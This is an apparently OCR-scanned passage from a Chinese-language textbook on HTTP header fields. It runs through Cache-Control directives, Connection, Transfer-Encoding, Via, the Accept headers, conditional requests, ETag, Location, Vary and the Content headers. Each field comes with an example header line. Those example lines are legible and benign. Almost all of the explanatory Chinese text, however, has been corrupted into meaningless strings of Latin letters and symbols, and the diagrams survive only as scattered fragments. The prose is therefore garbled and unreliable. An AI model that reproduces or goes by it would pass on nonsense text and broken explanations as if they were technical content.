SR B BIX AN HE E S HUE I B B R SRS S, AR, Bi52, ESEENERE
BEATCAME 17 . HERfEm R TS 4 1R %S

AT AT B AF B R TR 4

no-store 54
Cache-Control: no-store

{#f no-store 184 1 IF, BERWER GO RIEIMIRD SRR AL & LB 1S

1 Wi & B LR A 51T no-cache R ERNARERF, {AHHL L no-cache REANEE T WM BRI, BHESHERSBHTEN
HIFAE A B YR, WiFFRN do-not-serve-from-cache-without-revalidation F-43&. no-store 7 & EIEM AN #EAT ST, Hik



FHERXAEE, —FEE
Bk, %384 B AE S RELE A M A7 ik 1 SR B L A — B840

HBEZFHRAINER TS
s-maxage 1E4

Cache-Control: s-maxage=604800 (Bfi : )

s-maxage 184 HIThRER max-age 4 HIHFE, BIIKARF fA s-maxage 184 RiEH T2l P 4E K
AFBEIERS I 2, BN, WFRE—H P EERE N RS K, XAEA B AR .

2 X B — . —FEE
Bk, HEH s-maxage 1845, NEBEZREST Expires B #87 B & max-age 84 Kb HE

max-age 154

B imHEE

EFIRS S

-Bh Ry Ho Ll
MBEHZEGEGTE I

fR5528 0B E
Cache-Control: max-age=604800 (H#ifi: #)

HE IR R B E max-age AR, W RE AT BRI A7 I [ B B e N R K S R A, AR
LB PRI BR. 55, HiERE max-age HA 0, MARFRFHIEE FERIERERGERS
o

2 AR 45 28R Bl fma B A A max-age R4 R, ARSI BRI A B EAERIN, 1T max-age $U{E
REFE BRI N AT W T 5]

BLF HTTP/A A A B RS 2B B [F i £27E Expires B S FBMERE, 2% E max-age 84, 10
B Expires HHIFB. T HTTP/A.0 AR ZZ RS HRHIB AR, max-age 4B BHEH .

min-fresh 4



ERES
Cache-Control: min-fresh=60 (®fi: )

min-fresh 8422 5R G 17 IR 55853 1 [] 2220308 R I g 52 I 18] ) G2 47 B2 U8
tedn, 24385 min-fresh J9 60 #/5, & T 60 B BHIRARTLIE(E AN RIRE T .

max-stale ¥4
Cache-Control: max-stale=3600 (H#fi: #)

i max-stale Al ¥R/~ ZA7 50K, R 10 h B 2

WMRBSRIEESHE, BALRETEZA, BT mElREaN, mRKLSHEE T AESE, TARE
o, REVET max-stale 1ERINEIA, J5IH 8% .

only-if-cached 4
Cache-Control: only-if-cached

f#H only-if-cached 84 RARE F I NER FIRS B A BT B R EREMEBR T A RERIERR. BEZ,
ZIRSEREFIRS B AEIMBENSN, BASEHRFARIEE M. HREFREFRS JOEMEFT
MRz, MR ERARS 504 Gateway Timeout.

must-revalidate 354

Cache-Control: must-revalidate

£ must-revalidate #5-4-, A& FIVE RSS2 FF U IR UE RIS IR (8] i 82 2247 B AT 2 TR A .

FRETCIEEBIF RS 2 HUGRECE R IE I E, ZFVLAAE P i—% 504 (Gateway Timeout) JRZ
.

BAh, 4 must-revalidate # 42 ZB&iE R I max-stale #4 (BEELEE HMHH T max-stale, AL
BAEMR .

proxy-revalidate 34



Cache-Control: proxy-revalidate

proxy-revalidate $§4 ZLR JTH B A2 IR 55 S AE OB B 7 i A 148 & IO TR SRR B R B2 2 B, A AUFE IR BEE
- ZEAECE g

no-transform 4

Cache-Control: no-transform

f§ /3 no-transform 84 #UE LR RAEE RIBRMBIF, B RE AL Sk E ARSI RE.
IXFEMAT B 1E SR A7 B R R 45 ) SRR

Cache-Control § &

cache-extension token
Cache-Control: private, community="UCI"

B3t cache-extension #5itl (token) , W LAH"J& Cache-Control B #F B HKITE4 .

ki, Cache-Control B #FBA&& A community X84 . fiBh extension tokens SZ3L T %354 KT
e WIREFIRSBAGEEE community XMNHTES, B EBEZR. FIL, extension tokens (LA GEEE AR
BHEFERSBERBREE B LK.

6.3.2 Connection

Connection & #5 BLA &M T MEM.
o BHIABRERARENERTR
o BEFAERE

o BHIABERARENERTR

GET / HTTP/1.1 GET / HTTP/1.1

Upgrade: HTTP/1.1 e — " .
A D EE 7B Upgrade # MGG 5 &

ARS8




Connection: REERMWEHRFEEREL

TR P b R I TE R AR S 23R BN, 16 Connection B ¥i7 B, WisHIAEEXARENE T
Bt (B Hop-by-hop &)

o BEFAERE

Connection close

& i
X F Ao % &
HHEH I

Connection: close

HTTP/.1 IRA BRI ER IR FAOER. A, BPWMSERAERE DESRIEER. LRS00 1EH
Wi T &R, WEE Connection B #FBIME N Close.

d) GET / HTTP/1.1
Connection: Keep-Alive

@) HTTP/1.1 200 OK

Keep-Alive: timeout=10, max=500
Connection: Keep-Alive

Connection: Keep-Alive

HTTP/1.1 Z 818 HTTP JRA MRV EBAS R AR AR . Ak, WRBEIHRAR HTTP Phil 45
FrgER:, WIFRESRE Connection BH#IFBHIEA Keep-Alive.

mEEOFIR, FFRIEERA RSB, RS EmSE EEOBAEN L IBE R Keep-Alive X
F B Connection Jgi& [&] i 5 .

6.3.3 Date
H i B Date KHAGIZE HTTP )3T H BANR A .



HTTP B &2 F 2002
F1HB:28 (Az=>e+8
40 4 59§

HTTP/1.1 Bt AI7E RFC1123 Hh#lE i) B IR R #% 3K, s w4
Date: Tue, 03 Jul 2012 04:40:59 GMT

ZHTH HTTP il A FI £ RFC850 g X i s, W FFizs.
Date: Tue, ©3-Jul-12 04:40:59 GMT

Bribz sh, R, B5 CIntkEN K asctime() B i X — 2.
Date: Tue Jul @3 04:40:59 2012

6.3.4 Pragma

Pragma & HTTP/1.1 Z A ARAK) Ji et B 7 B, ANMERS HTTP/A.0 B 5 AT E Lo
UV 2 T K ME—, T TF R

Pragma: no-cache

ZEHFRETEREHFR, BRAERFWRERERS . 255 ERHTE I 8 RS 3R B 47
HIBER

% T EWELS

Pragma: no-cache

oh ja)fR 55 28

BT s 1] AR 25 28 W SR AR RE LA HTTP/M.1 A%, FEEZRH Cache-Control: no-cache $85& £ 77 1 Ab 3 77
RBCOAEEN ., BERKEREIP RS SEHK HTTP hURA R RIER . FHik, RENIERESR
&F PN E ST

Cache-Control: no-cache

Pragma: no-cache



6.3.5 Trailer

ERTHERS IR
FEHE®E, LGP
(3488 3§ o

E P R 5528
EHFR Trailer SHBAER L EHFIER T WL HFR. ZEWFBATMAE HTTP/1.1 fidk s Hetk
eI

HTTP/1.1 200 0K
Date: Tue, 03 Jul 2012 04:40:56 GMT
Content-Type: text/html

Transfer-Encoding: chunked
Trailer: Expires

co (IRICERE). L.

)
Expires: Tue, 28 Sep 2004 23:59:59 GMT

ARG, $EEEH R Trailer KA Expires, ERXERZE (GHRKE 0 Z)E) HIAT EHFE
Expires.

6.3.6 Transfer-Encoding

i Smes & R & ok

Transfer-Encoding: chunked

H &7 B Transfer-Encoding #liE T #& %k S E 44 R A i 4w 77 X



HTTP/A.A & g iE 77 2000 73 % S id A 2

HTTP/1.1 200 OK

Date: Tue, ©3 Jul 2012 04:40:56 GMT
Cache-Control: public, max-age=604800
Content-Type: text/javascript; charset=utf-8
Expires: Tue, 10 Jul 2012 04:40:56 GMT
X-Frame-Options: DENY

X-XSS-Protection: 1; mode=block
Content-Encoding: gzip

Transfer-Encoding: chunked

Connection: keep-alive

cfe <16k (103K H3312)
CBBL2F BB .
392 <163t (103t H914)
L OLAFAT SRR . L.

(4

PAERGIH, IEmM7EE B Transfer-Encoding 18 5 BIAREE, HREH S PfEdmmis, B Aok
3312 FHH 914 T4 RN 2 BB «
6.3.7 Upgrade

H#F B Upgrade T HT TP Bhis0 & At ¥ 80— 75 w7 66 S8 i AR AT @R, S BB AT DR RIE €
—ANFEA AR B L

Bk % 1F B X A Fhawed?

GET /index.htm HTTP/1.1
Upgrade: TLS/1.0
Connection: Upgrade

HTTP/1.1 101 Switching Protocols
E Pk Upgrade: TLS/1.0, HTTP/1.1 ka8
Connection: Upgrade

ERAEGIH, BB Upgrade 8 ERIMEAN TLS/M.0. HER AL FIAS T BOE 355 B xR %
%, Connection FIME# %8 &N Upgrade. Upgrade & #-=Br=A1EH K Upgrade Xf SN R F % F v FI 4R 82
Rz 8, Fk, Y7 Upgrade i, &7 E4i4MEE Connection:Upgrade.

X FHE B 5B Upgrade BIIESR, MRZ%237F 101 Switching Protocols RS AE 9 R [H] .



6.3.8 Via

fEFE T B Via R T B ERZ ™ it 15 IR 5525 2 18 R 7 S A e 2 1% ST A A% A B 42

WXL REE MR, SEAEEHFE Via PHMZMREERNEE, REFEHTER. XAMHER
traceroute J% H, FHR 1) Received & ¥ 1 TAEHLEIR KL

HEBZE Via MUH T BERXWER, Erl B RiEREIFRMRE. BT LA FEL AR FHnZE 7B
A
D sEer ) Hrrefd i

@ @Er / grrp/i.l
Via: 1.0 gw.hackr.ip(Squid/3.1)

= A
— @) GET / HTTP/1.1
S/

Z Via: 1.0 gw.hackr.ip(squid/3.1),
1.1 al.example.com( Sgquid/2.7)

s =,

EMRERFHEREVia B EAFNE
SHRF#HNER.

LR, EETRERSGE AR, Via BHHNT 1.0 gw.hackr.jp (Squid/3.1)" XM /F 8 E. 17KM
1.0 RIBEWCE RIS 2 LR HTTP thilii 4. BT RES R RS2 B WR 2k, 7 Via &M
MRFERER, WM 1K Via EHEANRSSER.

Via HERN T BEMERBRAE, PTLAEH SN TRACE Jrik—@ M. i, MBS &EE h TRACE J7
FERIBLREER (Hh Max-Forwards: 00 I, REARFHMAREBERELZERT . ZMHBERT, KBRS
K EH B E RS Via H#/E, & E1ZERKIREE.

6.3.9 Warning

HTTP/1.1 i) Warning B &2 M HTTP/1.0 MmN & # (Retry-After) iEA5RK . ZEH@EFSSMBE—
ey s P QT ETp k2=

Warning: 113 gw.hackr.jp:8080 "Heuristic expiration” Tue, ©3 Jul 2012 ©5:09:44 GMT
Warning B ### T . &S5 KB R R T .

Warning: [Z&HM][&EEMEN KOS [EEAE]”([BHNRE])



HTTPAA (T 7 M. GHEENMNESASMEESE. A5, EEHALZY Rt SEATRE
ki T

#* 6-7: HTTPM.1 & &1

®¥50

110

111

112

113

199

214

299

EENE

Response is stale (M E.id #1)

Revalidation failed (FF3&1IE 5 M)

Disconnection operation (WiFF&E%
()

Heuristic expiration GRS HD

Miscellaneous warning (24 J% % )

Transformation applied (& fH T #4#)

Miscellaneous persistent warning (A

HIVE )

BB
ARERIR [ B3 #1 i IR

AREL I E BRA R R (RSS2
ERNXEREBED

ARIELE B REE PR BT

M B 45 P SR 24 (B AR R
SE I (] K T-24 /N A L RO

ERKEENE

RIS N B D B R R B AT T St
Ak BRI

ERHELENE



6.4 FEREIFE

ERE BT BRANE P RS S KA E RSP TR FB, A THRERKNER. FomE
B xR AR KR SE R A A

#FLEYR IR

EF i 528
Bl HTTP 3 R4 o PR 0 2 0 B

6.4.1 Accept

BRERRIE ST HTML
e, WERE ALK
TEXT k& 3K &) th f7 07

Accept: text/plain; g=0.3, text/htm —
ﬁ HTMIL H 5t

l =
HTML#& = TEXT# =

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept B BT IBAIRS RS, FH P ARER RS A B K A SR A R R AR SR A AR AR e . TTAE
type/subtype XFhE R, —k¥aE £ P ARIRAE,

TFHERATAZS JUAN AR KT B 51 F
o AN
text/html, text/plain, text/css ...

application/xhtml+xml, application/xml ...



o BA 3
image/jpeg, image/gif, image/png ...

o BFXH
video/mpeg, video/quicktime ...

o LR AE R B — B oA
application/octet-stream, application/zp ...

tedn, WA A R PNG B ARIER, A Accept AN 2 image/png, 16 % Al &b i) image/gif Al
image/jpeg & KA,

EEBEARRNGAERMMA LS, WA o= RESIRFNEE 1, NS ) #ITHM. WER q K
VEE R 0~1 (AR AN RS 3 6, B A ARKE. PRERE q BN, BRIRERN g=1.0.

1RO E RS . 7 RFC2616 52 X, Iukbiy q &% qualue, BF qualityfactor. E#FEMIESRZRES, HELLEEEA
FRCIZ BRI, MPRANEEEARZ. —FEE

A SSAR RS M AN, Ko E RIREREE R R AR,

6.4.2 Accept-Charset

Accept-Charset: iso-8859-5, unicode-1-1;g=0.8

Accept-Charset B #55 B I F Sfeil 40 iR 5543 P AR ST RF K 45 8 R PR AR RSB . S35, W —ik
MR E ST FRE. 5EHTB Accept MFIKR T AME q ERF RS .

W R BN T A A B AL B R 958 BR B TR

6.4.3 Accept-Encoding

R Y bR
TR R




Accept-Encoding: gzip, deflate

Accept-Encoding & #87 BH e &5 AR 55 4% H P B SCRF I A A TS B A A TS B ZURF . T — IR Pk fe
TE XA AT .

TR LA A GRS BT
e gzip

M E4ERRER gzip (GNUZip) A RIIRIDH R (RFC1952) , FA Lempel-Ziv &% (LZ77) K 32
PFEIR T &KH (Cyclic Redundancy Check, &% CRC)

e compress

B UNIX SO EZEF2 5 compress 4 i gaigig =, KA Lempel-Ziv-Welch &% (LZW) .
o deflate

HEMEH Zib #X (RFC1950) Kk H deflate 4% (RFC1951) A I 4migig = .
o identity

APAT 45 BN 2L IR BRI G O A% 5

KANE q HERFRRERNREL, XA EEHFE Accept HFE. H5h, MAIEHES () (ERBRKAF, &
TEAER B g K.

6.4.4 Accept-Language



BP

Accept-Language: zh-cn,zh;q=0.7,en-us,en;q=0.3

H B Accept-Language FIsR & A1RSs 25 P REL AR MBI B RBE S GEP X , URBER
BEEREN MRS, T—KIEELHHERIEFE.

M Accept EIR T BI—H#, HNEME q REFMANMEL. £ LREGIF, &FWRAERSHA P OREERE
BT, SRR B SRR BLERIARE, B F ORI, U3 SR 8 5 SRR i i o

6.4.5 Authorization



WW\W-Authenticate

G REE P HTTP sk,
GET /index.htm BindiliE(EE B R

401 Unauthorized
WWW-Authenticate: Basic - &8

B REiGEES
% A1

GET /index.htm
Authorization: Basic dWVub3NlbjpwYXNzd29yZA==

sl
=

200 OK

Authorization: Basic dWVub3NlbjpwYXNzd29yZA==

BB Authorization AR & RS 4, AP REEIAERS S GESE) . 8%, BEESRSFINER
AP RESEREERE R 401 REGMNE, EH 87 B Authorization IMATERH . JEHEFAEZNES
A Authorization & #<=BITE RN I BRIELL B SBEH Z 57

AR HTTP U5 FAE X Authorization HH#F B, MERFE WM. B, REHRTSHE
RFC2616.

6.4.6 Expect



e B A og?

% O & 49%) 100 Continke

EFis ik

Expect: 100-continue

P Ad A 0 B Expect R MRS A, B HBILEMREEIT . RIRS 38 ToVR IR AR 25/ i (¥ A 28 1 1Y
[B] BT R AE B IR, 23 IR [BIARZSHS 417 Expectation Failed.

P R R ZE B, BUATIENY E. B HTTP/A.1 #¥E R E X T 100-continue CIRZRS 100
Continue 2 &) -

SRPIRASTG 100 m R & P un R R AETE REY, E$EE Expect:100-continue.

6.4.7 From

& P

From: info@hackr.jp

BB From FSR & Rk 2548 (A P B R R P 9 e T B R dhik . JER, R ERBEANT Bl
SIS R P RERAFAR R TFIARRT R EAREN, MRWHEE From HHFR (HITRLKENR
HRFE, KTt ikiDAE User-Agent HEBFBN) .

6.4.8 Host



&

P
B

&Pk

Host: www.hackr . jp

R LA
www.hackr.jp

=

R

www.usagidesign.jp

B:. BRlEHSTER—AIP L, B EBFB Host InbAX 4
Host: www.hackr.jp

H B Host & MRS &%, 18 RIBHR T AL I BB EHLAZ M 05 . Host B EFBAE HTTP/M.1 FTE A
T M —— AN BB FE T SR K B AR B

BB B Host A1 LU & IR 4548 43 FiC 2 M54 B R S ENLE) ARG IR B VISR, X & B 35 B Host 44
TR Lo

WRPREERSG RN, ERTHENLLH P EREER. HINRXN, HEK P b THEE
ITHEENE A, WL TR R TR MRA XN RER . Bk, 3% 260 E 85 B Host 5k
BigHiE R ENA . HRSFERBEENAL, BERRE—ATHET. WTFHR.

Host:

6.4.9 If-Match

If-Match
If-Modified-Since
If-None-Match
If-Range
If-Unmodified-Since

WEMELSEML &
B2 2T sk




B B & RER
TE4N -0 XA RERIITE R T HFER, #AFRAFAER. RSB[R RARERE, G HIBEE %
PERER, 7 SPATIHR.

GET /index.html
R MaEaeBWIZRNgERtE @200 eesssseassssessssea

T :
index.html

i Sk4RIE( ETag)
: 123456

SE{EFRIC ( ETag ) 2 5452 #E X B0y
WEl. BBEEHBEETagth Sz 5

GET /index.htm
If-Match: "123456"

: index.html

, Az ETag )
ARSdE | 567890

412 Precondition Failed

B: RAEZ f-Match FFBRER ETag HILE —BH, REBAF SERZER

If-Match: "123456"

HEHFB f-Match, JBM K2 —, B & MRS HICERIFEHRLAERD (ETag) H. XNKRSES
TS ETag . GESHRAREXEHFE ETag Kt

RS2 Xt f-Match B FZEBEMBIRN) ETag &, (CAHE B, FLSPUTER. RZ, WREPRED
412 Precondition Failed i .

EWLMERES () € -Match KIFBAE. #XTXFEMR, RS HES BN ETag KE, RERFEFER
ALFEE R o

6.4.10 If-Modified-Since



GET /index.htm
If-Modified-Since: Thu, 15 Apr 2004 00:00:00 GMT

WHE & 00FesR
sB2EEFTeY
B PR BT LS

AR 5588

200 OK
Last-Modified: Sun, 29 Aug 2004 14:03:05 GMT

GET /index.htm
If-Modified-Since: Thu, 15 Apr 2004 00:00:00 GMT

AR ERE 2006 F o« B
sBzGAERE. FR
kRS

_

304 Not Modified

P

Bl: WmR7E If-Modified-Since ¥R EM B MR MG, HERETENR, BRERBLERER
If-Modified-Since: Thu, 15 Apr 2004 00:00:00 GMT
HEHFB f-Modified-Since, B &Mz —, BELEMRS A F-Modified-Since FB{E 7 T BRI 3

B IE), AR R AL B E R . TIFESRE If-Modified-Since FBUER H AR B2 )5, 05 R i SR #R %A 1T
BEH, MR EPRZSS 304 Not Modified MR .

If-Modified-Since FI T # IARERBZ 7 5 17 () A 3 B2 R (0 Rtk o BRECBE IR (0 B35 S ), mlo@sd A

BB Bt Last-Modified SR 5E .

6.4.11 If-None-Match



4 120 § Sample-html, LA
o] B e iE SR

PUT /sample.html
If-None-Match: #*

EAFEBEANGFE, Friat
8 ETag th AN F7E

E: HALE If-None-Match 7B {E 5 ETag EA—BH, WAEZER. 5 If-Match & 37 B ME
AR

BB If-None-Match & FHt# 4k 2—. BEMEHFE f-Match fEFM KR . T E [f-None-Match
BERSAERRE (ETag) (H5EREZER ETag A—30, ERtE MRS 2B ZIE K.

7£ GET 8 HEAD 75 % i Fi & #8 % B¢ If-None-Match AT 3REX ST IR TE. Ft, X548 08 7R -
Modified-Since I A L2548,

6.4.12 If-Range



If-Range F 1B 2 B ETag & 3 & #1604 B HEE 8) L & — %%,
BATIEATEEIE R AE

GET /index.html
If-Range: "123456"
Range: bytes=5001-10000

‘

-----------------------

> i
index.htm !

IR EER 43 SLARFRIC( ETag )
index.html Epp 123456

206 Partial Content
Content-Range: bytes 5001-10000/10000
Content-Length: 5000

(sr—=. npwsEEE, EE2H%R )

GET /index.html
If-Range: "123456"
Range: bytes=5001-10000

emm=———l) 5 »
AR index.htm

SK{AFRIZ( ETag )
567890

200 OK
Efag: "567890"

HEFB f-Range B TH# &Mz —. BEEMRSHETEER FFRange FBIE (ETag EERFEM M) FiFR
FURK) ETag EERN EAH—20, WEATEEFERCHE, Rz, MREEERER.



[ au%7|<{§ﬂ%*§%ﬁ$£azf-ﬂangemu%%ﬁﬁaﬁmﬁﬁj

GET /
If-Matgh: "123456" 412 Precondition Failed

Range: 5001-10000

GEdh > F:BREE:EEH T
MERBE - 2idka

2h T s
R

BHé& 3

LB AL R

200 OK
GET / ETag: "567830"

THEHRMEE - TAMEAEHFR f-Range RIZERIIFER . REHBEHQBFEOEER, BEFIHRFERE
FH—Eo L2 T, S8R, WEIERENMIRELN . XK, REHSYHLUREN 412
Precondition Failed 1y RiIR E], 3 H R B F oG FIRRIEER. XK, SHHEHFR -
Range Mgk, mHEELFFHBHTIER.

6.4.13 If-Unmodified-Since

If-Unmodified-Since: Thu, 03 Jul 2012 00:00:00 GMT
B & B If-Unmodified-Since 1 # #E I-Modified-Since FI{EFIMR . ERERKREMRE S, HBER
WREFERFEFRENENHMNEZE, RREEFHELT, FaebmEiER. mRERE BN E
JERA T HEH, WLLRZS 412 Precondition Failed 1 9 B & 5]

6.4.14 Max-Forwards



0 4 P
e % BB

Max-Forwards: 2 Max-Forwards: 1 Max-Forwards: 0

R AR 528

Bl SRERBER 1. SBEZ 0 KK [ w R
Max-Forwards: 10

it TRACE J5i%8k OPTIONS J7i%, RiZE&H M5 B Max-Forwards FiE RN, %5 B A+ Bt BHE K
REWET RS RBOREH . RESABIEET — MG R RIERLHT, Max-Forwards FIET 1 )5 E 3K
. ZREHBREWE Max-Forwards 69 0 HiE RIS, NIAREEITHR, TR EER BN,

fE/ HTTP BhGBER, ERTRSEEREEL GRS, &P, WRAERS S THELRESFIER
HRRM, ZP SRS SR E KR T . X, AT H.

] LA R G B Max-Forwards, %% PL B AN EFRBAFE. BT 4 Max-Forwards FBEN
0 mF, MRESZRFNSSLRIREIMIRL, L BRATE D AT CAxT UBE & AR 45 28 4 5 AL Sk 42 1 B (5 R A B
.

EFRaER !
SEEREY

&P

B: RE BIFERFB/HFRRKT , BEHAME



: BT RARESHER »
N ) :

B: dTFREER, SBOERBAREZRIPER, EEF 5D GE
6.4.15 Proxy-Authorization

Proxy-Authorization: Basic dGlwOjkpNLAGfFY5S

FRHCE MWARER IR 55 28 SR BAE BN, % P i RIS & B 55 Bt Proxy-Authorization I1ER, LA ik
FHNERENER.

XAMT AR EE P ARS8 Z A E) HTTP U7 WAIEA RN, ARZAET, INETAREER P 5K
B2 6. %5 RESHZ B MUGE, &5 B Authorization FIAEBIAEFEIER . A% HTTP ¥ EIAIE,
SR E N EER R,

6.4.16 Range

Range: bytes=5001-10000

XHF R REG 4 IR NSRS R, BEEHFER Range BIF & 4R % B ¥R MR i E. LIKRGRR
HRIKEME 5001 FH5EEE 10000 77 K F o

BB Range BB FBIE R RS 3%, SAELAEERZ FIRENIRAG N 206 Partial Content HIma B o
Tk A HRZ G B SR, 2R ERRZSED 200 OK Fm B7 K 4358 %I o

6.4.17 Referer



GET /
Referer: http://www.hackr.jp/index.htm

OEEEReferergt B2 40ETE K 89
URIZ AT ~Web T i A& & 64

(e URI & M
E_a‘J

Referer: http://www.hackr.jp/index.htm

H T B Referer & HIR 55851 R R LA BRI URI

P — i Rk Referer B F B IRSS 8. HYEEAN TSR URI, B0l T 22K
B, R DO R % 3T B

B ARG RIRR URI P E MR TREEE ID MEMERERER, BERSi Referer # R &AM 25,
WA 7T e S BUR (5 SR .

B4h, Referer KIIERKIPEE R %2 Referrer, EARFNM, KX —HIBHXMEERHE
6.4.18 TE

TE: gzip, deflate;q=0.5

BT B TE S AR ST 48 % 7 Ui e 4% AL 3 e B (9 4 i g 15 07 N RS RSB 2. B A E 315 B Accept-
Encoding HIZhREMRARG, (HRMH T1Hm%mE.

BB TE BRIEBEMMIT AN, BT LA ELLRE trailer FERRARMBIDH TR NAEEN, RE
It trailers BREA1ZFZBE .

TE: trailers

6.4.189 User-Agent



iﬂi1rryrﬂ=m—r————*=1

L
2 Thatem ol A

hackr

User-Agent: Mozilla/5.0 (Windows NT 6.1,
WOWEY) AppleWebkit/536. 11 [KHTML, like
Gecko] Chrome/20.0.1132.47 Safari/536.11

]hackr '

Maozilla/5.0 {iPhone; CPU iPhone 05 5_0 like
Mac 05 X) AppleWebKit/534 46 (KHTML, like
Gecko)] Version/5.1 Mobile/94334

B : User-Agent F T & ik i % 2% i Fh 26
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1

BB User-Agent 204 61 215 SR i3 S 83 A A P (RELAZ FRSEME BARIA 4 IR 5535 -

B 25 e BUR ST SRIN , B W RERTEF BRI B /R i i T lR ik Bb4h, IAERESRE, T4
o ] AR FT e A v I _E AR IR 5 AR AL R



6.5 My E E T B

5 7 BB A b IR 55 s ) 2 i 1% [ AR SCH T R B, P TR SRR B AR B IR
B PR P o i IR EAE B

fBMmkETR

& P

Bl: HTTP m SR SR i E 37 B

6.5.1 Accept-Ranges

B EEK Okoty
Accept-Ranges: bytes

B: B8 TEEERKN, Accept-Ranges: none
Accept-Ranges: bytes

BB Accept-Ranges A2 FI R 1% /7 i iR 5543 2 15 BEAC BV B R, DA S8 SR BUIR 35 2% m 55 B8 20 ) 3
o

W E T BRAEA PR, T ALERVE SR 3 € O bytes, R NIEEH 9 none.

6.52 Age



WA EGG:ER % B
g, WEedgEIiosw

Age: 600

FEHRES

Age: 600

HETE Age REE A% i, IRIRF SIS ARARET WM. FBENBLAD.

o B L R 55 SR R AF IR S5 4%, Age (BRI AT 5 I L FE AR AE BME S8 B I (Al E . ARERAY
SR B2 A N B R T B Age.

™
index.htm

ETag: usagi-1234

6.5.3 ETag

TRer Rl Bs3HE, BE
LF-BEIRE. ETao (B4EE
2%

I
index.htm
ETag: usagi-5678
MR 422 B

ETag: "82e22293907ce725faf67773957acd12"
BB ETag RE& % P i SE PR IR BR — i R IR U4 8 O — PR IR T e RS8N
B BRSNS R ETag fH.

FHh, BRVEEHN, ETag EMFEEH . L5k ETag EN, JHFRAS—MEEMN, TR B RS2k
L.



H:Eda URI B HHEE,
YR Fo sk CERa e
BE mEl e

18

th SRR p—_—
Google Google
AR&5 a8 ETag: usagi-abecd ETag: usagi-efgh

R EAR, MRB A ME— AR R B, 2R T ORI AR UG E) http://Amww.google.comy B, &
SR [ H SRR LR BRI, T A5 T SRR A 0 B A U S B, R [ B SO RO L B . BT URI R AR
B, BTUMUE URI B ESERRIERMSEERN . S TREER HIUER T, BEENEL, HaKR
ETag {Ek 5 € % .

i ETag {138 Tag 18

ETag H A % ETag M35 ETag 2 5.

3% ETag 18

% ETag 18, Mo REL 2WMMBNHEEEHLE.
ETag: "usagi-1234"

§5 ETag f&

55 ETag A A TRABEREHEA. REFRRERETRAKE, PEERNA 2B ETag H. XN, &
T BUERIT IR AL B N W o

ETag: W/"usagi-1234"

6.5.4 Location


http://www.google.com/

MEYE LT E@E &

3 /
GET /sample.htm 544, EHDFe!

www.hackr.jp

sB—6.

302 Found
BHEBBELE

Location: http://www.usagidesign. jp/sample .htm

GET /sample.htm

200 OK fR%es B
www.usagidesign.jp

Location: http://www.usagidesign.jp/sample.html

{8 FIE #87 Bt Location AT LA ma Rl T7 51 F ZHA 5K URI A BRI BE.
AL, ZFBRRME 3x: Redirection MR, AL E K URL.

JUFFRA fp S8R R R BB & E 8Bt Location MIMARLS, A4 3] 3 22 A0 37 I 2 58 11 R UR 17
8

6.5.5 Proxy-Authenticate
Proxy-Authenticate: Basic realm="Usagidesign Auth"

B E#8 7Bt Proxy-Authenticate 23 AR ELAR 55 8% BT R KRS B R IBA R i .

B SSA 218§ HTTP U BYGERAT AAEL, AE AR T HIAEAT NRAE R - i 5 A 2 6] 2
TR . T2 35 RSS2 2 A BEATAERS, & #5B WWW-Authorization A& FKIER . A% HTTP 5
WIE, EHKE T SETERER.



6.5.6 Retry-After

s S WE B g Csaw .es.@;t;asfa]n;g)

Yas

AR 5548

Retry-After: 120

HHEBZ B Retry-After $5 % F Ui PIZE S A Z FERIRRIZEIER. FERAIRESH 503 Service Unavailable
R, BY 3xx Redirect Wi S — 4%

FBHET DA R ERR B #IR A (Wed, 04 Jul 2012 06: 34: 24 GMT &) , AT AR AR B 5 1)

.
& F Amazon83
(")
4 8 Apache/2.2.17 ( UnixD

Ar 5528

6.5.7 Server

Server: Apache/2.2.17 (Unix)

BB Server H 1% AT RS 2% L 2BM HTTP RS BEABFNGELE . FRESIRHRS S LMK
R4 FR, B T e ALE IR A S R 22 )R A AT R T

Server: Apache/2.2.6 (Unix) PHP/5.2.5

6.5.8 Vary



GET /sample.html GET /sample.html
Accept-Language: en-us Accept-Language: en-us

Vary: Accept-Language

& P i RIERR 528

AR 5585

D tER 6 5EF
( Accept-Language > i idskiE @
&5

Bl HARERSSERIHE Vary 5 HFBRIBERICERENFERN, WREAK Accept-Language
FRIOVEMR, BoREBRNEFREIM. k2, WHZE %N IERS S 5w RIR B )G 4 6 4E  w
IR [B]

Vary: Accept-Language

BT B Vary AT EREHATIES] . BRSBEARERSSIEERTAMEREERINER G L.

MARER R 55 33 BIUR R S5 2% IR B2 Vary $RE KM 2 &, #HBERTESE, (OSERTEHHFA
Vary 18 %€ B & FBUINIERE B 7. B F BRI RER, (EHT Vary iERESBFBRAMRE, it
W ZREE TR R 55 25 BT IRER BRI

6.5.9 WWW-Authenticate
WWW-Authenticate: Basic realm="Usagidesign Auth"

¥ 5B WWW-Authenticate FiF HTTP U EAIE. ‘B4 % 5% 5 @& T 17 115 R URI BTR & SR AAE
% (Basic B/ Digest) MHSHIRRMFEH (challenge) . R 401 Unauthorized R+, & E#HA
B # BL WWW-Authenticate .

LRI, realm FEEIFAFERANTHAIER URI fHE BRI IR K. ARIZER, HSHAER
BZJRRAE.



6.6 SLAEITER

SR T BOR A S TR SRR SCRIMA SR SO I SEARER 2 BT PR B 38, T T4h 78 PO B IR SE T IN [R) 46 5 S 4
HSRIIE B

ERXDD G GET
fin HEAD F 3£ o7

Allow: GET, HEAD

& P

Allow: GET, HEAD

B EF B Allow B T@ %1% ik B8 52 7% Request-URI 18 E B IRIIFTE HTTP . R4 S8k B A ST 3
i) HTTP 7730, 2 LURZSH 405 Method Not Allowed fEAMIRIIRE . SILFEIR, B2 FA B8R
HTTP 7¥E5 N #FE Alow EiRE .

6.6.2 Content-Encoding

Content-Encoding: gzip

H#F B Content-Encoding & 1% /7 it AR 5588 X SLAR I AR B I K 9 B S T7 e WA GRIDRIEED
ERERAE B HRTIR T ITHET R R SR .



K EmipnRatir IELE
7B ME TE®RFILMT

AR 5588
FERAUT 4 RNERBH TR (FHFRNWEBESH 6.4.3 1 Accept-Encoding H#FEBD .
* gzip
e compress
o deflate
e identity

6.6.3 Content-Language

Content-Language: zh-CN

B 7B Content-Language &% 1% P, SLEFARFEHPEBRIES BPXREXEES

6.6.4 Content-Length

i B« 1s000 T

Content-Length: 15000



B8 5 B Content-Length BA TS24k AR E IR/ CARTRFH) o X Seik AT N A RmILERN, R
BeE A Content-Length BT B . BTSSR EARKNFTETIERMESR, FUAEKAHRER. EEE5E
—HAE, 5% RFC2616 [ 4.4,

